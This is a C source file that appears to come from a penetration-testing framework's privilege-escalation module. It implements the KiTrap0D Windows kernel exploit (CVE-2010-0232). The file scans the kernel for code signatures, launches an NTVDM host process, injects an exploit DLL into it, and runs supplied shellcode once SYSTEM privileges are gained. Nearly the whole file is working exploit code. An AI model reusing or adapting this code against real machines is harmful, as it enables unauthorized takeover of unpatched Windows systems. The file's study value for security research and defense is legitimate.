498 lines
18 KiB
C
Executable File
498 lines
18 KiB
C
Executable File
/*!
|
|
* @file kitrap0d.c
|
|
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
|
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
|
* @remark Known Bugs:
|
|
* - Windows NT4 fails to map the NULL page, (exit code 'NTAV').
|
|
* - Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
|
* - Windows 2008 Storage Server has 16-bit applications disabled by default
|
|
* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
|
*/
|
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
#include <stdio.h>
|
|
#include "../common/common.h"
|
|
#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
|
|
#include "../common/ResourceLoader.h"
|
|
#include "resource.h"
|
|
|
|
#define PAGE_SIZE 0x1000
|
|
|
|
enum { SystemModuleInformation = 11 };
|
|
|
|
typedef struct
|
|
{
|
|
ULONG Unknown1;
|
|
ULONG Unknown2;
|
|
PVOID Base;
|
|
ULONG Size;
|
|
ULONG Flags;
|
|
USHORT Index;
|
|
USHORT NameLength;
|
|
USHORT LoadCount;
|
|
USHORT PathLength;
|
|
CHAR ImageName[256];
|
|
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
|
|
|
typedef struct
|
|
{
|
|
ULONG Count;
|
|
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
|
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
|
|
|
typedef struct CodeSignature
|
|
{
|
|
UCHAR Signature[16];
|
|
DWORD Version;
|
|
};
|
|
|
|
/*!
|
|
* @brief List of code signatures used when searching kernel memory.
|
|
* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
|
*/
|
|
struct CodeSignature CodeSignatures[] = {
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
|
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
|
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
|
{ "", -1 }
|
|
};
|
|
|
|
/*!
|
|
* @brief Scan the appropriate kernel image for the correct offset.
|
|
* @retval TRUE An offset was found.
|
|
* @retval FALSE An offset was not found.
|
|
*/
|
|
BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
FARPROC NtQuerySystemInformation = NULL;
|
|
HMODULE hKernel = NULL;
|
|
HMODULE hNtdll = NULL;
|
|
PIMAGE_DOS_HEADER DosHeader = NULL;
|
|
PIMAGE_NT_HEADERS PeHeader = NULL;
|
|
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
|
|
PBYTE ImageBase = NULL;
|
|
HKEY MmHandle = NULL;
|
|
OSVERSIONINFO os = { 0 };
|
|
SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };
|
|
DWORD PhysicalAddressExtensions = 0;
|
|
DWORD DataSize = 0;
|
|
ULONG i = 0;
|
|
ULONG x = 0;
|
|
|
|
// List of versions we have code signatures for.
|
|
enum {
|
|
MICROSOFT_WINDOWS_NT4 = 0,
|
|
MICROSOFT_WINDOWS_2000 = 1,
|
|
MICROSOFT_WINDOWS_XP = 2,
|
|
MICROSOFT_WINDOWS_2003 = 3,
|
|
MICROSOFT_WINDOWS_VISTA = 4,
|
|
MICROSOFT_WINDOWS_2008 = 5,
|
|
MICROSOFT_WINDOWS_7 = 6,
|
|
} Version = MICROSOFT_WINDOWS_7;
|
|
|
|
do
|
|
{
|
|
hNtdll = GetModuleHandle("ntdll");
|
|
if (!hNtdll) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
// NtQuerySystemInformation can be used to find kernel base address
|
|
NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
if (!NtQuerySystemInformation) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
// Determine kernel version so that the correct code signature is used
|
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
|
if (!GetVersionEx(&os)) {
|
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");
|
|
}
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
|
|
|
|
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
|
Version = MICROSOFT_WINDOWS_NT4;
|
|
}
|
|
if (os.dwMajorVersion == 5) {
|
|
if (os.dwMinorVersion == 0) {
|
|
Version = MICROSOFT_WINDOWS_2000;
|
|
}
|
|
if (os.dwMinorVersion == 1) {
|
|
Version = MICROSOFT_WINDOWS_XP;
|
|
}
|
|
if (os.dwMinorVersion == 2) {
|
|
Version = MICROSOFT_WINDOWS_2003;
|
|
}
|
|
}
|
|
if (os.dwMajorVersion == 6) {
|
|
if (os.dwMinorVersion == 0) {
|
|
Version = MICROSOFT_WINDOWS_VISTA;
|
|
}
|
|
if (os.dwMinorVersion == 0) {
|
|
Version = MICROSOFT_WINDOWS_2008;
|
|
}
|
|
if (os.dwMinorVersion == 1) {
|
|
Version = MICROSOFT_WINDOWS_7;
|
|
}
|
|
}
|
|
|
|
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
|
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);
|
|
|
|
// Load the kernel image specified
|
|
hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);
|
|
if (!hKernel) {
|
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");
|
|
}
|
|
|
|
// Parse image headers
|
|
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
|
|
ImageBase = (PBYTE)hKernel;
|
|
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
|
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
|
OptHeader = &PeHeader->OptionalHeader;
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);
|
|
|
|
for (x = 0;; x++)
|
|
{
|
|
if (CodeSignatures[x].Version == -1) {
|
|
break;
|
|
}
|
|
|
|
if (CodeSignatures[x].Version != Version) {
|
|
continue;
|
|
}
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);
|
|
|
|
// Scan for the appropriate signature...
|
|
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)
|
|
{
|
|
if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)
|
|
{
|
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);
|
|
|
|
*OffsetFromBase = i;
|
|
|
|
FreeLibrary(hKernel);
|
|
|
|
return TRUE;
|
|
}
|
|
}
|
|
}
|
|
|
|
} while (0);
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");
|
|
|
|
if (hKernel) {
|
|
FreeLibrary(hKernel);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Grab a useful Handle to NTVDM.
|
|
* @param cpProgram Path to the program to invoke.
|
|
* @param hProcess Pointer to the variable that will receive the process handle.
|
|
* @retval TRUE Handle acquisition succeeded.
|
|
* @retval TRUE Handle acquisition failed.
|
|
*/
|
|
BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
STARTUPINFO si = { 0 };
|
|
ULONG i = 0;
|
|
|
|
do
|
|
{
|
|
si.cb = sizeof(STARTUPINFO);
|
|
|
|
// Start the child process, which should invoke NTVDM...
|
|
if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");
|
|
}
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);
|
|
|
|
// Get more access
|
|
*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);
|
|
if (*hProcess == NULL)
|
|
{
|
|
TerminateProcess(pi.hProcess, 'SPWN');
|
|
CloseHandle(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");
|
|
}
|
|
|
|
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);
|
|
|
|
CloseHandle(pi.hThread);
|
|
|
|
CloseHandle(pi.hProcess);
|
|
|
|
} while (0);
|
|
|
|
if (dwResult == ERROR_SUCCESS) {
|
|
return TRUE;
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Find a suitable exe to host the exploit in.
|
|
* @param cpOutput Buffer that will contain the path to the executable which will
|
|
* host the exploit.
|
|
* @param dwOutputSize Size of the \c cpOutput buffer.
|
|
* @retval TRUE Found a valid exe to host the exploit in.
|
|
* @retval FALSE Unable to find a valid exe to host the exploit in.
|
|
*/
|
|
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
char cWinDir[MAX_PATH] = {0};
|
|
DWORD dwIndex = 0;
|
|
char * cpFiles[] = { "twunk_16.exe",
|
|
"debug.exe",
|
|
"system32\\debug.exe",
|
|
NULL };
|
|
|
|
do
|
|
{
|
|
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
|
|
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
|
|
|
|
while( TRUE )
|
|
{
|
|
char * cpFileName = cpFiles[dwIndex];
|
|
if( !cpFileName )
|
|
break;
|
|
|
|
if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
|
|
cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
|
|
{
|
|
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
|
|
break;
|
|
}
|
|
|
|
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
|
|
|
|
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
|
|
return TRUE;
|
|
|
|
memset( cpOutput, 0, dwOutputSize );
|
|
|
|
dwIndex++;
|
|
}
|
|
|
|
} while(0);
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
/*!
|
|
* @brief Helper thread function which runs the given payload directly.
|
|
* @param lpPayload The payload shellcode to execute.
|
|
* @returns \c ERROR_SUCCESS
|
|
*/
|
|
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
|
{
|
|
dprintf("[KITRAP0D] Payload thread started.");
|
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
|
lpCode();
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*!
|
|
* @breif Entry point for the KiTrap0D exploit.
|
|
* @remark This is known as CVE-2010-0232.
|
|
* @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.
|
|
* @param lpPayload Pointer to the shellcode to run on successful exploitation.
|
|
* @returns Indication of success or failure.
|
|
* @retval ERROR_SUCCESS The exploit worked as expected.
|
|
* @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.
|
|
*/
|
|
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
HANDLE hVdm = NULL;
|
|
HANDLE hThread = NULL;
|
|
LPVOID lpServiceBuffer = NULL;
|
|
LPVOID lpRemoteCommandLine = NULL;
|
|
char cWinDir[MAX_PATH] = { 0 };
|
|
char cVdmPath[MAX_PATH] = { 0 };
|
|
char cCommandLine[MAX_PATH] = { 0 };
|
|
DWORD dwExitCode = 0;
|
|
DWORD dwKernelBase = 0;
|
|
DWORD dwOffset = 0;
|
|
DWORD dwServiceLength = 0;
|
|
|
|
do
|
|
{
|
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
|
|
|
|
if (lpPayload == NULL) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);
|
|
}
|
|
|
|
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
|
}
|
|
|
|
if (!dwServiceLength || !lpServiceBuffer) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
|
}
|
|
|
|
// 1. first get a file path to a suitable exe...
|
|
if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);
|
|
}
|
|
|
|
// 2. Scan kernel image for the required code sequence, and find the base address...
|
|
if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
|
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");
|
|
|
|
if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
|
|
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
|
|
_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);
|
|
|
|
// alloc some space and write the commandline which we will pass to the injected dll...
|
|
lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
|
|
|
if (!lpRemoteCommandLine) {
|
|
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");
|
|
}
|
|
|
|
if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {
|
|
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");
|
|
}
|
|
|
|
// inject the dll...
|
|
hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);
|
|
if (!hThread) {
|
|
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");
|
|
}
|
|
|
|
// 5. Wait for the thread to complete
|
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
|
|
// pass some information back via the exit code to indicate what happened.
|
|
GetExitCodeThread(hThread, &dwExitCode);
|
|
|
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);
|
|
|
|
switch (dwExitCode)
|
|
{
|
|
case 'VTIB':
|
|
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
|
|
// matches what the kernel expects.
|
|
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);
|
|
case 'NTAV':
|
|
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
|
// expects to be present.
|
|
// The exploit thread reports it didn't work.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);
|
|
case 'VDMC':
|
|
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
|
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
|
// it's failing.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);
|
|
case 'LPID':
|
|
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
|
// unprivileged process owned by you.
|
|
// PsLookupProcessByProcessId() failed when trying to find your process.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);
|
|
case FALSE:
|
|
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
|
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);
|
|
case 'w00t':
|
|
// This means the exploit payload was executed at ring0 and succeeded.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);
|
|
default:
|
|
// Unknown error. Sorry, you're on your own.
|
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);
|
|
}
|
|
|
|
} while (0);
|
|
|
|
if (hVdm)
|
|
{
|
|
TerminateProcess(hVdm, 0);
|
|
CloseHandle(hVdm);
|
|
}
|
|
|
|
if (hThread)
|
|
{
|
|
CloseHandle(hThread);
|
|
}
|
|
|
|
// if we succeeded, we need to run our payload in another thread.
|
|
if (dwResult == ERROR_SUCCESS) {
|
|
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
|
}
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*!
|
|
* @brief Entry point to the exploit DLL.
|
|
* @param hinstDLL Reference to the DLL's module.
|
|
* @param dwReason The reason code for the invocation.
|
|
* @param lpReserved A reserved value, used by the exploit code.
|
|
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
|
|
* @returns \c TRUE all the time.
|
|
* @remark The \c lpReserved value contains a number which identifies which
|
|
* exploit to invoke. This needs to be passed in from MSF, otherwise
|
|
* no exploit funtionality will be invoked.
|
|
*/
|
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
|
{
|
|
DWORD dwExploit = 0;
|
|
BOOL bReturnValue = TRUE;
|
|
|
|
switch (dwReason)
|
|
{
|
|
case DLL_PROCESS_ATTACH:
|
|
hAppInstance = hinstDLL;
|
|
elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);
|
|
break;
|
|
case DLL_QUERY_HMODULE:
|
|
if (lpReserved != NULL) {
|
|
*(HMODULE *)lpReserved = hAppInstance;
|
|
}
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return bReturnValue;
|
|
}
|